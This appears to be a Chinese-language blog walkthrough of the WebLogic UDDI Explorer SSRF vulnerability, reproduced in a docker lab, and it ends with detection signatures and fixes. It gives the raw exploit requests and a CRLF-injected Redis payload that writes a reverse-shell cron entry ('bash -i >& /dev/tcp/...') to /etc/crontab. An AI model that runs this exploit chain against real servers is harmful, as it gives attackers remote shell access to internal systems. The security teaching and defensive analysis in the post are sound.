抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞详情

SSRF

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等。【即请求包里的参数值为URL】

攻击者无法直接访问目标内部服务,所以借第三方服务器为跳板,让第三方服务器对内部服务发起请求进而去访问内部服务

img

ssrf漏洞验证

  1. 因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞

  2. 在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞

概述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响范围

weblogic 版本10.0.2

weblogic 版本10.3.6

漏洞原理

判断是否存在漏洞

Weblogic 的 SSRF 漏洞地址在/uddiexplorer/SearchPublicRegistries.jsp,抓包后可以在请求包里发现operator参数值为URL。

将operator参数值改为其他url,再次发包测试。

可以很明显的看到靶机对我们修改后的URL进行了访问.修改端口后,访问不存在的地址,靶机返回信息提示连接不到服务。所以存在ssrf漏洞

环境搭建

编译及启动测试环境

1
docker-compose up -d

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

SSRF漏洞复现

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80

1
2
3
4
5
6
7
8
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type

修改为一个不存在的端口,将会返回could not connect over HTTP to server

通过redis服务反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

查看ip

redis的服务,是另外开启的docker.通过靶场服务器,查看一下redis的ip。(也可以通过爆破进行,通过ssrf探测内网中的redis服务器,docker环境网段一般是172.*)开启服务的端口,探测成功后的显示是页面报错码

redis默认端口6379.检测一下,是否开放。返回了did not have a valid SOAP content-type 确实开放

etc/crontab文件:设置定时任务。用于设置周期性被执行的指令。

可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

发送三条redis命令,将反弹shell脚本写入/etc/crontab

1
2
3
4
5
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/<监听ip>/7777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

进行url编码:

1
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F%3C%E7%9B%91%E5%90%ACip%3E%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

1
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0A<payload>

流量分析

根据利用链,可以看出来,问题出在/uddiexplorer/SearchPublicRegistries.jsp。可以对这条路径进行访问限制和过滤。流量分析时,可以以这个为突破点。

另外反弹shell的时候,会有特征关键字crontab /dev/tcp/

crontab /dev/tcp/ 提取的规则字段为:http_client_body ,提取的时候,这个关键字可以用hex来提取。

修复建议

  1. 修复的直接方法是将SearchPublicRegistries.jsp直接删除;

  2. 删除uddiexplorer文件夹,限制uddiexplorer应用只能内网访问

评论